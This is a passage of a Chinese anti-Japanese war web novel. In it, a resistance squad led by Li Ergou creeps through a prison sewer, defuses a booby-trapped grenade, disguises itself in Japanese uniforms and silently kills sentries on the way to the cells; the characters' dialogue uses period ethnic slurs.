从潜入下水道的第一步,到靠近宪兵队大牢的岗哨,从解决看守的鬼子,到精准救人撤离,从沿途可能遇到的各种突发情况,到最后全队顺利出城。 夜里行动的每一个步骤、每一处细节、每一个可能出现的风险、每一套应对的补救方案,他一遍又一遍反复琢磨、反复推演,力求做到万无一失,确保这场生死劫狱,能够圆满成功。 第726章 行动开始 夜里十一点三十分,整座院子里一片漆黑。 天上没有月亮,连星星都藏得干干净净,四下里静得离谱,一点风声虫鸣都听不见。 黑黢黢的院墙立在四周,把院子圈得严严实实,所有的一切几乎都融在夜色里,看不清一点轮廓,只余下一片死寂。 此时,特别行动队的所有队员,已全部在院子里集合完毕。 没人说话,没人乱动,甚至连呼吸都刻意压制着。 十几号人平均分成两队站好,他们个个身姿挺拔,从头到脚都透着一股子常年训练出来的沉稳。 他们每个人的身上都背着一个背包,腰里别着匕首,身上背着枪,没有任何多余的声音,就这么静静地伫立在夜色中,等待李二狗发话。 负责整队的孙连胜往前半步,腰身瞬间绷直,语气恭敬地对着李二狗报告道:“报告狗哥,所有人集合完毕,请指示。” 院子里依旧安静,所有人的目光都默默地投向正前方的李二狗。 李二狗轻轻地咳嗽了一声,清清嗓子,利落地命令道:“出发!” 简简单单的两个字,没有任何多余的铺垫,却显得力道十足。 话音落下的瞬间,院内的队员们齐齐调整身形,走出了院门。 行进路线是李二狗亲自摸索出来的。 他根据夜间日军巡逻的路线,筛掉了容易暴露、容易撞见巡逻鬼子兵的大路,最后敲定了这条最隐蔽、最稳妥的行进路线。 一行人一路疾驰,约莫二十分钟之后,他们便悄无声息地绕到了宪兵队大牢的后方,停在了那条臭水沟边上。 刚一靠近,一股子呛人的恶臭就扑面而来。 沟里常年淤积着牢狱里排出的脏水、烂菜叶和淤泥杂物,日积月累沤出的味道又腥又臭,熏得人嗓子眼发紧,就算是见惯腌臜场面的老土匪,闻着这味道也忍不住皱眉。 没人诧异,更没人慌乱。 因为李二狗早有安排。 他知道这里的味道刺鼻难忍,为了不让队员们被恶臭扰了心神,更防止有人忍不住咳嗽,发出动静暴露踪迹,出发之前,他已叮嘱所有人,提前备好口罩,做好防护。 此刻队员们不慌不忙,纷纷从怀里摸出提前备好的布口罩,戴在脸上,遮住口鼻。 队伍停下之后,李二狗没有急着下令进沟,而是站在队伍最前方,借着浓重的夜色,不动声色地扫视了一圈四周的环境。 他做事从来都是这样,不冒半分无谓的风险。 每到一处,必先亲自观察,确认无异常之后,才会安排下一步行动,心思细得比针尖还密。 确认外围没有异常之后,他向后一抬手,打出几个简单的手势。 队员们早已熟稔他所有的手势指令,一眼就看懂了安排。 当即有两名身形灵巧的队员,悄无声息地退出队列。 两人脚步极轻,借着夜色的掩护,快速冲到不远处的两棵老槐树下。 这两棵树是整片区域的制高点,枝干繁茂,树叶浓密,刚好能遮蔽身形,视野又绝佳,能完整地俯瞰宪兵队大牢后方整片区域,无论是地面的行人还是远处岗楼的动向,都能看得一清二楚。 两人手脚麻利,借力树干藤蔓,悄无声息地攀爬上去,隐在枝叶之间,各自占据最佳瞭望位,一人紧盯左侧,一人紧盯右侧,专注观察四面八方的风吹草动,但凡有一点异常,就能第一时间传递信号。 安排好高空瞭望的人手,李二狗手势再变。 又有两名枪法精准的队员,应声出列。 两人各自提着一挺机枪,快速冲向臭水沟旁通往宪兵队大牢内部的唯一一条土路。 这条路是大牢通往臭水沟的必经之路,一旦行动暴露,是敌人增援的必经之路。 路边刚好有一处凸起的土坡,地势高出路面大半截,是整条路唯一的制高点,视野覆盖整条小路,易守难攻,是绝佳的狙击点位。 两人快速冲上去,卧低身形,隐蔽在土坡后方,枪口对准下方道路。 只要大牢方向有异常,或是有日军闻声赶来,他们便能第一时间狙击拦截,为所有人争取撤离的时间。 外围两层警戒哨全部布置妥当,前后左右、高低上下无一处疏漏。 安排完这一切之后,李二狗这才转身,抬手示意身后的队员跟上。 他带着孙连胜和其他队员,踩着沟边湿软的泥土,来到下水管道的出口处。 管道出口嵌在臭水沟最内侧的一个墙根底下,洞口不大,外头焊着一排粗实的铁栅栏。 一根根铁条粗壮坚硬,横竖交错,死死地封着洞口,看起来牢固得很,没有外力破坏,根本无法通行。 孙连胜盯着眼前的铁栅栏,压低声音问了一句:“狗哥,动手吧?” 李二狗目光沉沉地盯着铁栅栏,微微点头道:“动手。” 孙连胜得了指令,不再多言,当即回头对着身后两名备好工具的队员沉声吩咐道:“上,快点锯开。” 两名队员早已经把钢锯握在手里,他们躬身快步上前,蹲在铁栅栏跟前。 两人动作熟练,没有一丝慌乱,找准铁栅中间的铁条,一人一边,抬手就拉动钢锯。 夜里极其安静,两人特意控制着力度和速度,尽量压低锯条摩擦的声响,只留下细碎轻微的沙沙声。 他们都是提前演练过无数次动作,力道均匀,节奏稳定,不慌不忙。 前后也就短短几分钟的时间,四根粗壮的铁条尽数被锯断。 随着最后一根铁条应声落地,下水管道出口被开出了足够一人弯腰通行的缺口,刚好能容纳队员依次进入,尺寸拿捏得刚刚好。 铁条落地没有发出大的动静,两名队员快速伸手,轻轻将锯断的铁条挪到一旁放好,避免留在洞口碍事,也防止铁条滚落发出异响。 洞口彻底疏通。 所有人齐刷刷看向站在最前方的李二狗,等着他下一步指令。 李二狗站在下水管道铁栅栏的缺口跟前。 他没有立刻进去,而是先侧耳静静地听了片刻,听下水管道深处有没有异动。 第727章 事出反常必有妖 听了一会儿,李二狗转过脸,压低嗓音,对着身后一众队员轻声叮嘱道:“大家都跟紧我,尽可能不要发出声响,更不许出声,一定要跟着我的行走的路线走。” 他的声音不高,却带着不容置疑的威严。 所有人都轻轻点头,眼神坚定,脸上看不到半分紧张。 这群人都是孙连胜一手带出来的精锐,心性、身手和胆识都是顶尖的。 深夜潜入根本乱不了他们的心神。 李二狗从腰间摸出贴身带着的一个手电筒。 这个手电筒聚光性极好,只照亮身前一小块区域,不会散射出强光。 一束细窄的白光打进黑漆漆的下水管道深处,照亮了前方的通路。 众人低头看向下水管道内部。 整条下水管道修建得低矮压抑,整体高度只有一米五,成年人站在里面必须全程弯腰低头,根本直不起身子。 管道四壁布满了潮湿的青苔,摸上去又滑又黏,空气里混杂着淤泥、污水和霉烂的味道,比外头的臭水沟还要闷还要呛人。 管道底部积着厚厚的污水,深浅约莫二十公分,底下是常年沉淀的烂泥、杂物,层层淤积,踩上去软塌塌、滑溜溜的,稍微不注意就容易打滑、摔倒,一旦摔倒势必发出响动。 这种环境,最考验人的耐心,半点急躁都要不得。 李二狗心里清楚,越是在这种密闭狭窄的地方,越要沉稳。 欲速则不达,这个道理他比谁都懂。 所以踏入下水管道的那一刻,他就刻意压慢了自己的脚步。 他走在最前头开路,每一步都踩得极稳,脚掌先轻轻地试探落点,确认脚下淤泥扎实、不会打滑,才会缓缓发力落脚。 步子轻缓细碎,几乎听不到半点踩水的声响。 手里的手电筒始终平射前方,照亮前路,给身后队员指引方向。 他一边缓慢前行,一边还不动声色地留意管道两侧的管壁和脚下的水流,耳朵始终竖着,捕捉管道深处任何一丝细微的动静,但凡有一点异常,他都能第一时间察觉。 身后的队员们紧紧跟着他的节奏,一人跟一人,全程弯腰低头,脚步放得极轻,没人说话,没人乱动,整条黑漆漆的下水管道里,只有一片安静的前行气息。 李二狗心里计算着时间。 这场营救行动的所有时间节点,都是他反复推演、精准敲定的。 他早已掌握了宪兵队日军的作息规律,摸清了他们换岗、巡逻和犯困的所有时间点。 凌晨一点,是人整夜精神最疲惫、眼皮最沉、警惕性最低的时刻。 这个点,站岗的哨兵熬了大半夜,心神倦怠,极易松懈走神。 牢狱内部值守的宪兵,大多会偷懒打盹,戒备心降到整夜最低。 这是整夜里最容易得手、风险最低的绝佳动手时机。 此刻距离凌晨一点,还有一段时间,时间足够,完全不用赶进度。 稳,就是眼下最大的胜算。 一行人在李二狗的带领下就这么不急不躁,借着微弱的手电光,在低矮湿滑的污水管道里缓慢前行。 走了约莫小半程路,前方原本通畅的管道,骤然被一道铁栅栏彻底挡住了去路。 又是一道一模一样的粗铁栅栏,牢牢封死了整条管道,根本没有绕行的空隙。 看到这道突然出现的铁栅栏,身后的孙连胜当即压不住心里的火气,低声骂了一句:“怎么又有栅栏?这些小鬼子可真他妈的磨叽,阴魂不散的,净搞这些没用的花样。” 骂完之后,他立刻转头看向身后两名带钢锯的队员,压低声音催促道:“你们两个赶紧的,动作快点,把这个也锯开,别耽误进度。” 两名队员闻言,立刻握紧手里的钢锯,躬身就要往前走,准备快速破拆铁栅栏。 就在两人脚步刚动的瞬间,走在最前头的李二狗,突然抬手,猛地拦住了他们。 他的动作极快,低声吐出两个字:“且慢!” 短短两个字,声音不重,却带着绝对的威严。 两名队员闻言立刻刹住脚步,不敢再动分毫。 身后所有队员全都瞬间止步,整条管道里瞬间死寂一片,连呼吸声都压到了最低。 孙连胜心里一愣,有点摸不着头脑,疑惑地看向李二狗,低声问道:“狗哥,咋了?不锯开咱们过不去啊。” 此时所有人都觉得,这不过是日军多此一举,无非是多加了一道防护栅栏,和刚才那道没什么两样,直接锯开就能继续赶路,没必要耽搁时间。 但李二狗站在原地,眼神死死地盯着眼前这道铁栅栏,脑子在飞速运转,细细推敲其中的不对劲。 他心里清楚,日本人虽然蛮横霸道,凶狠狡诈,但绝不蠢。 寻常百姓,根本不可能找到这种隐秘的地下污水管道出口,更不可能顺着管道潜入宪兵队大牢。 这第一道外围铁栅栏,尚且能说是为了防备外人误闯、做做表面的防护。 可在下水管道深处,没人能轻易抵达的位置,再多装一道一模一样的铁栅栏,根本起不到实质性的防护作用。 能闯过第一道栅栏的人,必然有备而来,绝不会被第二道同样规格的铁栅栏拦住。 但凡有点脑子的人都能想明白的道理,狡猾的日本鬼子不可能不懂。 既然没用,他们为什么要白费功夫,特意在这里再加装一道铁栅栏? 事出反常必有妖。 日本人不会做没有意义的无用功,但凡他们安装这种多余的布置,背后一定藏着阴毒的算计。 要么是陷阱,要么是机关,绝对不是简单的防护。 李二狗眼神愈发深沉,心里的警惕瞬间拉满。 他没有说话,只是抬手,将手里的手电筒灯光缓缓抬高,细细扫过眼前整道铁栅栏。 灯光一点点移动,从最上方的铁条,到中间的横杆,再到两侧固定的墙根,一寸一寸、一处细节都没有放过。 他看得极细,目光锐利,不放过任何一点异样、任何一丝破绽。 周围依旧安静,污水缓缓流动,没有异响,没有异动,看起来平平无奇,和普通的防护栅栏一模一样。 第728章 诡雷 旁边的孙连胜和一众队员静静地站立着,耐心等候,没人抱怨,所有人都信得过李二狗的判断。 片刻之后,李二狗的目光骤然定格在栅栏最底部,紧贴着下沿铁条、藏在淤泥边缘的位置。 借着微弱的手电光,能看到一根细得几乎看不见的铁丝,紧紧贴着铁条,隐匿在污泥阴影里,不仔细看,哪怕凑到跟前都绝对发现不了。 铁丝极细,颜色和淤泥、铁条的阴影几乎融为一体,完美隐藏,毫无破绽,寻常人一眼看去,根本察觉不到分毫。 若非李二狗心思缜密、逐寸排查,换做任何人,只会二话不说上前锯栅栏,绝对会直接中招。 发现这根隐秘铁丝的瞬间,李二狗没有丝毫迟疑,立刻沉声低喝道:“所有人,立刻往后退!” 孙连胜心里一紧,连忙追问道:“怎么了狗哥?出啥事了?” “有情况,别多问,让兄弟们立刻退后,离栅栏远一点!”李二狗语速极快地吩咐着,眼神始终死死盯着那根细铁丝。 孙连胜深知李二狗的性子,但凡他这么严肃谨慎,必然是遇上了致命的危险。 他不敢有半点犹豫,立刻转身,抬手示意身后所有人:“快,往后撤,退远一点!” 一众队员训练有素,听到指令,立刻轻步后退,整齐有序地往后退出好几米,全程没有半点混乱。 唯独孙连胜,没有后退半步。 他知道越是危险的时候,越要守在李二狗身边,既能随时听令行事,也能第一时间照应。 他站在李二狗身后,再次低声追问道:“狗哥,到底啥情况?我瞅着没啥异样啊。” 李二狗没有回头,抬手将手里的手电筒直接递到他手里,沉声吩咐道:“你拿着手电筒,照着栅栏最底下,靠墙根那位置,别动,灯光稳住。” 孙连胜连忙接过手电筒,稳稳举着,精准地将光束打在李二狗指定的位置,视线顺着灯光看去,这才勉强看清那根几乎隐形的细铁丝,心头瞬间一沉,后背莫名冒起一股凉气。 灯光稳住之后,李二狗这才微微俯身,他身体放得极低,小心翼翼地伸出两根手指。 他不敢用力,不敢快动,生怕指尖带起的微风或者轻微的触碰,触发暗藏的机关。 他的指尖缓缓地凑近那根细铁丝,极其轻柔地触碰到铁丝表面,一点点顺着铁丝的轨迹,慢慢摸索延伸。 铁丝一头拴在栅栏铁条的底部,另一头顺着栅栏伸向另一侧。 李二狗屏住呼吸,心神高度集中,指尖一点点往前探,顺着铁丝缓缓摸向墙体一侧。 在墙根处,他的指尖突然触碰到一个坚硬冰凉的硬物。 触感分明,他瞬间心里了然。 这是一颗挂在弦上的手雷。 铁丝就是手雷的引线,被日军精心隐藏在栅栏底部的淤泥里,布置得极为隐蔽。 只要刚才队员们贸然上前锯栅栏,哪怕只是轻微碰到这根细铁丝,或者脚步带起的淤泥晃动牵扯铁丝,就会瞬间拉响引线,直接引爆手雷。 这颗手雷在管道狭窄的通道里,空间密闭,一旦爆炸,威力会成倍放大。 别说靠前锯栅栏的两名队员必死无疑,就连整条管道里所有的人,都会被炸伤炸死。 更要命的是,爆炸声会瞬间响彻整片宪兵队大牢,日军会全员出动进行封锁搜捕。 到那时候,别说救人,他们整支队伍都会被困死在管道之中,全军覆没,整场精心筹划的营救计划,会彻底彻底泡汤。 想清楚日军这阴毒的算计,李二狗眼底掠过一丝冰冷的鄙夷。 日本人的心思,当真是歹毒到了骨子里,处处都是阴招,专挑人容易疏忽大意的地方下套,等着人自投罗网。 他缓缓直起身,紧绷的神经稍稍松了一些,嘴角勾起一抹淡淡的冷笑,带着十足的不屑,低声说道:“小鬼子就这点上不得台面的小伎俩,也敢在爷爷面前班门弄斧。” 他说得云淡风轻,仿佛刚才险些撞上的陷阱,根本不值一提。 可站在身后的孙连胜,此刻早已吓得后背冷汗直流,心脏怦怦直跳。 他死死盯着那根细铁丝和暗藏的手雷,越想越后怕。 方才只差一步,他们就要贸然上前锯开栅栏,若是真的动了手,此刻所有人都已经葬身在这里。 不光是兄弟们的性命保不住,大家筹划多日的营救任务,也会彻底失败。 一念之差,就是生死两隔。 孙连胜站在原地,后背阵阵发凉,心里满是庆幸和后怕。 而此刻的李二狗,看似从容淡定,实则后背的衣衫早已被冷汗浸透,紧紧贴在身上,一片冰凉。 他不是铁打的,更不是无所不能的神。 面对这种藏在暗处、一碰即死的诡雷,他心里同样会怕,同样会忌惮。 只是他比所有人更沉得住气,更懂得克制情绪。 越是危险致命的关头,他越不会显露半分慌乱,只会把所有的恐惧和紧张全部压在心底,不动声色地冷静处置,稳住所有人的心。 他是整支队伍的主心骨,他一旦慌了,所有人都会乱,局面就彻底掌控不住了。 耗费了五分钟,李二狗凭着极致的细心,一点点拆解,小心翼翼将这颗暗藏的诡雷彻底拆除。 危机化解,压在心头的巨石落地。 孙连胜这才长长松了一口气,压低声音,满是佩服地感叹道:“狗哥,你真是太神了!今天要是没有你多留这一个心眼,没有你拦着我们,我们这群兄弟,今天铁定要折在这里,栽在小鬼子的阴沟里!” 李二狗抬手擦了擦额角的细汗,语气依旧平淡:“小日本不过是个弹丸小国,撮尔小国,论耍阴谋玩诡计,都是跟咱们中国人学的,他们还差得远。论起来,咱们是他们的祖宗,做孙子的,也敢在祖宗面前耍小聪明?简直是不自量力。” 孙连胜听得连连点头,语气愈发敬佩,带着几分打趣道:“嘿嘿,狗哥,我是真彻底服了!要说胆识,你就是我祖宗,我们谁都比不上!” 第729章 致命缺陷 “你小子少在这里贫嘴废话。”李二狗偏头瞪了孙连胜一眼,嘴角却忍不住勾起一抹浅淡的笑意。 他随即立刻收敛神色,严肃地说道:“时间不等人,别耽搁了,赶紧让兄弟们上来,锯开栅栏继续赶路。” “好!” 孙连胜立刻应声,不敢再耽搁。 他当即招呼两名队员上前,有了刚才的惊险教训,两人更加谨慎小心,拿起钢锯快速作业。 有惊无险,几分钟后,四根铁条再次被顺利锯断,通道重新被打通。 所有人看着走在最前头、刚刚以身涉险拆掉诡雷的李二狗,心里都满是敬重。 明知道前路暗藏杀机、布满陷阱,明知道每往前一步都可能遇上致命危险,他从来不会让手下的兄弟先去探路。 永远是自己第一个上前排查,第一个以身试险,把最险最难的事全部自己扛下来,把安全留给身后的兄弟。 这样的领导,在乱世里头打着灯笼都难找。 所有人心里愈发笃定,跟着李二狗,再危险的事情也是安全的。 通道打通,队伍再次出发。 李二狗依旧走在最前方开路,依旧保持着缓慢沉稳的步伐,手持手电,照亮前路,继续带着众人在低矮湿滑的污水管道里稳步前行。 越往里走,下水管道内部岔路极多,纵横交错,密密麻麻,像迷宫一样。 若是没有熟悉路线的人带路,随便走错一条岔路,就会偏离宪兵队大牢。 但李二狗半点不慌。 他这个人有个本领,能在伸手不见五指的夜里准确地判定方向。 在这个漆黑的下水管道里,他一直朝着宪兵队大牢的方向前进。 众人跟着他前行,没有走错过半步岔路。 一行人又走了二十分钟。 李二狗心里一直默默计算着路程、方位和行进时间,他精准判断此刻他们所处的位置,已经彻底抵达宪兵队大牢的下方。 大牢底下的管道结构更加繁杂,支路更多,错综复杂。 李二狗停下脚步,回头低声吩咐众人道:“大家分散开,分头排查,在这一片区域仔细找,只要找到一具日军鬼子的尸体,立刻来汇报。” 众人立刻应声,两两一组,分散开来,按照指令,在可控范围内轻声排查搜索。 没过多久,就有队员找到了目标位置。 众人立刻收拢队伍,汇聚到目标点位下方。 李二狗看了看日本鬼子的尸体,旁边还有一杆步枪,心里彻底踏实。 他转头对着众人低声交代道:“头顶这个井盖,我提前踩点的时候就已经把上面的锁打开了,轻轻一推就能打开。” “一会儿我先上去,你们紧随其后,一定不要出声。” 他随即对两名队员说道:“你们两个,留在下方接应,随时准备接应我们撤退。其余人,准备随我上去。” 交代完毕,李二狗不再多言,双手撑住井壁,身形一轻,率先顺着缝隙缓缓攀爬上去。 指尖抵住井盖底部,轻轻向上发力,一点点推开厚重的井盖。 井盖移动的速度极慢,完全避开了金属摩擦发出的刺耳声响。 井盖推开之后,李二狗侧耳倾听,确认上方没有动静之后,才利落无声地翻身跃上地面,没有发出半点声音。 落地的瞬间,他没有丝毫停顿,身体本能侧身,右手瞬间摸到腰间手枪,顺势拔枪上膛,动作行云流水,一气呵成。 他快速来到夹道入口,抬眼快速扫视院子一圈。 此刻的宪兵队牢狱大院里,灯火通明。 高处岗楼的探照灯来回扫射,惨白的灯光扫过整片院落,院子被照得亮如白昼,任何一点异动,在灯光下都会无所遁形。 但李二狗挑选的这个地方,极其刁钻。 刚好处于两道墙体的夹缝死角,是探照灯扫射范围的绝对盲区。 外头灯火再亮,也半点照不到这片区域,完美隐蔽,绝不会被任何岗哨发现。 确认外围环境安全之后,他回到井盖旁,压低身形,对着井盖下方,打出一个安全手势。 “快上!” 井下的队员们见状,依次悄无声息地攀爬上来,一个个落地站稳。 所有人全部上来之后,李二狗压低声音,下达下一步指令:“所有人,按照提前定好的方案,立刻换装。” 队员们纷纷取下后背背着的背包,一个个快速打开。 背包里面,叠放着全套的日军军服,配饰、肩章、帽徽一应俱全。 这批军服,是李二狗特意托付孙竹刚费尽周折,从外围渠道弄到的,完美适配这次潜入计划。 众人不再多言,快速转身背对彼此,借着夹道里的阴影,快速换装。 夜色掩映下,片刻之间,所有人全部换上了日军军服,身形样貌瞬间和院内值守的宪兵别无二致。 李二狗站在一旁,快速扫视一圈换装完毕的队员,眼底闪过一丝疑虑。 旁人看着计划周密,一切都尽在掌握,只有他自己心里清楚,这场看似完美的潜入计划,藏着一个致命的短板,也是整场行动最大的隐患和破绽。 他们所有人,没人会说流利的日语。 这些队员连日常的简单对话都做不到。 李二狗曾和几个日本女人有过来往,日常相处之中,零零散散学过几句最简单的日常口语,都是私下卿卿我我的零碎话术,根本算不上正经交流。 而且那些日本女人久居中国,早已熟练掌握汉语,平日里相处都是说中国话,根本用不着他刻意去学日语对话。 真到了眼下这种需要和日军面对面周旋的关键时候,他脑子里就只剩下寥寥几句零碎的简单话术,根本不足以应对复杂的盘问,稍微多问两句,立刻就会露馅。 若是被日军看出破绽,就彻底暴露了。 此刻他心里难免生出几分懊悔,当初若是知道日后会有今日这场硬仗,说什么也会多学几句正经的日常日语,绝不会只学几句无用的闲话。 可事已至此,后悔无用。 计划已经推进到这一步,箭在弦上,不得不发,只能硬着头皮往前闯,赶鸭子上架,赌一把极致的临场应变。 压下心底的杂念,李二狗快速理清眼下的局面。 第730章 拿下探照台 李二狗转头看向孙连胜,低声吩咐道:“连胜,你带着大部队,留在这里隐蔽待命,不许乱动、不许出声、不许探头张望。没有我的信号,谁也不许擅自出来。我带一个人先出去探路。” “狗哥,你千万小心!”孙连胜重重点头,语气里满是担忧。 李二狗抬手看了一眼手表,时间刚刚好,距离日军固定换岗的时间,仅剩片刻。 时机正好,不早不晚。 他不再耽搁,抬手点出一名心性沉稳、眼神镇定的队员,示意他跟上自己。 两人压低帽檐,整理好身上的日军军服,缓步走出了这个隐蔽夹道。 走出夹道的瞬间,两人立刻调整状态,装作刚刚入厕归来的日军宪兵模样,大摇大摆、不紧不慢地行走在牢狱大院的水泥地面上。 行走之间,神态松弛,步履自然,和院内正常值守的日军别无二致。 一边往前走,李二狗一边低声回头,再次郑重叮嘱身后队员:“稳住,一定不要紧张,脸上别带任何异样神色。不管待会儿遇到什么情况,都别慌,一切听我指挥,我不动,你们就不动。” 他最担心的,不是自己不熟悉日语,是身后的队员没有和日本鬼子面对面交过手,一旦直面日军哨兵,容易出现眼神躲闪,被人一眼看穿异常。 身后的队员牢牢记住叮嘱,重重地点了点头。 两人稳步向岗楼走去,快接近岗楼的时候,岗楼上面的探照灯骤然扫来,惨白的强光瞬间笼罩住两人全身。 灯光刺眼,亮度极高,但凡神色有半分慌乱,都会立刻暴露。 千钧一发之际,两人身姿挺拔,面色平静,像极了习惯了夜间值守、早已麻木懈怠的日军士兵,任由灯光扫过全身,没有半点躲闪。 探照灯的强光在两人身上短暂停留一瞬,便缓缓扫向了别处。 就在灯光移开,视野重回昏暗的瞬间,李二狗立刻低声示意:“快,趁灯光过去,立刻隐蔽!” 两人不再大摇大摆地行走,立刻压低身形,脚步加快,借着灯光盲区,快速冲到探照灯岗楼的正下方,躲进岗楼墙体的阴影死角里,隐蔽起来。 岗楼墙体刚好挡住所有视线,上方哨兵看不到下方,远处巡逻兵也察觉不到异样。 李二狗再次低头看了眼时间。 下一轮岗楼哨兵的换岗时间,马上就到。 他静静隐匿在阴影里,耐心等候,精准地拿捏着每一分时间。 果然,没过片刻,远处的过道上传来拖沓的脚步声。 一名日军士兵揉着惺忪的睡眼,脚步松散拖沓,顺着过道慢悠悠朝着岗楼方向走来。 看模样,正是前来接替岗楼探照灯值守的换岗哨兵。 凌晨起床,最容易心神疲惫,脑袋昏沉,他眼神涣散,只顾着往前走,根本没有留意岗楼下方的阴影死角。 日军士兵慢悠悠走到岗楼下方,不做任何观察,抬手扶住侧边的梯子扶手,弯腰低头,正要抬脚顺着梯子攀爬上去,接替上头的值守岗位。 就在他毫无防备的瞬间,隐匿在阴影里的李二狗突然出手。 他的动作快如闪电,没有半点风声。 身形瞬间窜出阴影,一步贴身上前,右手猛地探出,死死捂住日军哨兵的嘴巴,将所有即将发出的惊呼全部闷在嘴里。 与此同时,左手短刀寒光一闪,精准利落地贴着鬼子的脖颈大动脉的位置,一刀稳稳划过。 动作干脆、利落,没有丝毫拖泥带水,没有丝毫多余动作。 一刀毙命。 整个过程快得让人反应不过来,全程没有发出半点声响。 日军士兵连挣扎的机会都没有,身体瞬间失力,软软地瘫倒下来。 李二狗稳稳地托住他的身体,轻轻放在地面,避免躯体倒地发出响动。 李二狗立刻对着身旁的队员递出眼神手势,示意其快速处理尸体、清理痕迹。 队员立刻上前,熟练麻利地将尸体拖到岗楼后侧阴影里隐藏好,不留半点破绽。 而李二狗,做完这一切,立刻抬手扶住梯子,身形一纵,悄无声息顺着梯子,快速攀爬上岗楼顶部的探照值守台。 此刻夜色深沉,月黑风高,四下昏暗。 李二狗站在岗楼之上,刻意压低军帽的帽檐,遮住大半张脸,只露出一截下颌,彻底隐匿自己的样貌特征。 值守台上,原本在岗执勤的日军哨兵,正耷拉着脑袋,昏昏欲睡,眼皮沉重得几乎睁不开,整个人疲惫到了极点,心神早已彻底松懈。 他压根没有察觉换岗的人早已被解决,更没有发现爬上梯子的人早已换了身份。 趁着对方昏沉倦怠、毫无防备的时机,李二狗微微躬身,用一口不算流利、却足够以假乱真的日式口语,低声说道:“辛苦了!” 话音落下,顺势微微躬身,做出日军换岗时常规的客套礼节。 那名值守的日军哨兵本来就困得脑袋发懵,眼皮打架,浑身疲惫至极。 大半夜的值守,枯燥又熬人,早已耗尽了他所有的精神。 此刻哪里还有心思仔细辨听口音、观察神态、客套寒暄。 他压根没有多想,也没有应声,只当是换岗的同僚前来交接,懒得说话,微微点头,抬手扶住梯子,转身就顺着梯子往下走,一心只想赶紧下岗休息。 他刚顺着梯子下到岗楼底部,脚刚落地,还没站稳。 早已守在梯子下方阴影里的队员,瞬间闪身上前。 他一只手死死地捂住日本鬼子的口鼻,一只手握住短刀,利落出手,同样是一刀封喉,干脆利落,瞬间便解决战斗。 整个过程竟没有半点动静,完美复刻了李二狗刚才的动作,没有出现丝毫纰漏。 解决掉岗楼哨兵之后,这名队员按照提前约定好的计划,快速清理现场,把鬼子尸体抬到墙角一个阴暗处,随后扶住梯子,快速攀爬上岗楼顶部的值守台。 这名队员是李二狗提前特意挑选出来,专门负责掌控探照灯的人手。 第731章 借火 早在行动之前,李二狗就抽出空闲时间,手把手给他教学、演练,把探照灯的开关、转向、远近、明暗所有操作流程,一遍遍地教、一遍遍地练,确保他能熟练上手。 此刻为了以防万一,李二狗当着队员的面,快速实操一遍所有操作流程,从转向、定点、调光,到应急开关,逐一演示,清晰交代。 演示完毕,他盯着队员,低声问道:“都记牢了吗?还有没有问题?” 队员语气沉稳地说道:“没有问题,全部记熟了。” “好。”李二狗叮嘱道:“待会儿行动时,你在上面配合好我们,稳住探照灯节奏,看我手势调整,不要出错。” “放心吧,狗哥,绝对没有问题!” 交接妥当之后,探照灯的控制权彻底掌握在自己人手里,整场行动的视野主动权,尽数被掌控。 李二狗不再停留,转身顺着梯子,快速爬下岗楼,重新返回到那个隐蔽的夹道,和孙连胜带领的大部队汇合。 回到夹道之后,他又静静地等候了两分钟。 按照日军换岗的常规流程,两分钟的时间,足够让院内所有值守哨兵适应新的换岗节奏,不会有人察觉到岗楼上异常。 时间一到,李二狗抬眼看向众人,快速下达指令道:“留下两名兄弟在这里留守接应,守住退路,其余人,排好队列,跟我出去,大家一定要步伐整齐,神色自然。” 众人快速整理队形,排成一个整齐的队列,身姿端正,神态淡然,完美复刻日军宪兵列队行走的模样。 一切准备就绪。 李二狗转身在前带路,带着一队身着日军军服、列队整齐的队员,稳步走出夹道,融入牢狱大院的夜色之中。 一行人步履从容,沿着大院稳步前行,看着和正常巡逻值守的日军队伍没有任何区别。 往前走了百余步,刚好经过院内一处机枪阵地。 阵地里正留守着两名日军机枪手,昏昏欲睡,无精打采地守着岗位。 就在队伍途经阵地外侧的时候,岗楼上方的探照灯,骤然一转,惨白的强光瞬间精准打在了机枪阵地的两名日军脸上。 灯光又亮又猝不及防,直直晃在两人眼底。 深夜人本就视物昏暗,骤然被强光直射双眼,两人瞬间被闪得头晕眼花,一时间根本睁不开眼,视线彻底陷入模糊,整个人瞬间懵住。 “八嘎!” 两名日军下意识地低骂一声,抬手遮挡灯光,脑袋昏沉,眼神混乱。 就是这短短一两秒的视觉盲区,孙连胜瞬间抓住绝佳战机,不等李二狗吩咐,直接带着身旁几名队员,身形骤闪,快步冲上前去。 趁着两名日军双眼眩晕、毫无防备的瞬间,他们的动作利落狠绝,一人锁定一个目标,快速制服,一刀封喉。 短短瞬息之间,两名机枪手无声毙命,全程没有发出半点异响。 干净利落解决掉阵地守卫之后,孙连胜立刻按照提前部署,留下两人驻守。 “你们留下在这里守住机枪阵地,其余人不要停留,继续前进!” 队伍没有半分停顿,快速整理队形,稳步往前推进,很快就靠近了牢狱牢房的核心区域。 越靠近牢房,值守戒备越森严。 按照日军的巡逻规矩,院内普通的巡逻士兵,是不允许随意靠近牢房核心区域的,无故靠近会被值守哨兵盘问警示,极易暴露破绽。 越到最后关头,越不能出错。 李二狗快速调整状态,脑中飞速盘算应对的说辞。 他抬手从兜里摸出一根烟,叼在嘴里,没有点燃,故作慵懒随意的模样,缓步朝着牢房门口的两名值守日军哨兵走去。 隔着几步距离,他用自己仅会的几句日式口语,语气松弛自然地说道:“火柴有吗?” 问话的同时,他的脚步不停,从容不迫地逼近两名哨兵。 他没有再说话,他心里清楚,自己的日语并不标准,词汇也极其有限,多说多错,多说就容易暴露破绽。 最好的方式,就是点到为止,用简单话术搭话,不等对方回应,立刻用肢体动作衔接,跳过语言交流的环节。 话音落下的瞬间,他已经走到两名日军哨兵跟前。 他抬手指了指自己嘴里没有点燃的香烟,做出借火的手势。 夜间牢狱值守枯燥又熬人,哨兵大多懈怠懒散,私下偷偷抽烟解乏,是日军里最常见的常态,丝毫不会引人怀疑。 门口两名值守的日军哨兵,本来也是昏昏欲睡,浑身倦怠。 看到同僚过来借火抽烟,没有半点警惕之心。 其中一名哨兵很自然地伸手,从兜里掏出一盒火柴,递向李二狗。 李二狗从容地接过火柴,低头点燃了嘴里的香烟。 香烟点燃之后,他缓缓地吐出一口轻烟,姿态松弛自然。 随后他将火柴轻轻地还给对方,同时从自己口袋里,摸出一包香烟,顺手递到两名哨兵手里。 深夜站岗,是不允许抽烟的。 但深夜里,当官的早就睡着了,能偷偷地抽上一根烟,对值守的哨兵来说,是天大的好事。 两名日军哨兵见状,脸上瞬间露出放松的笑意,心里彻底放下所有戒备。 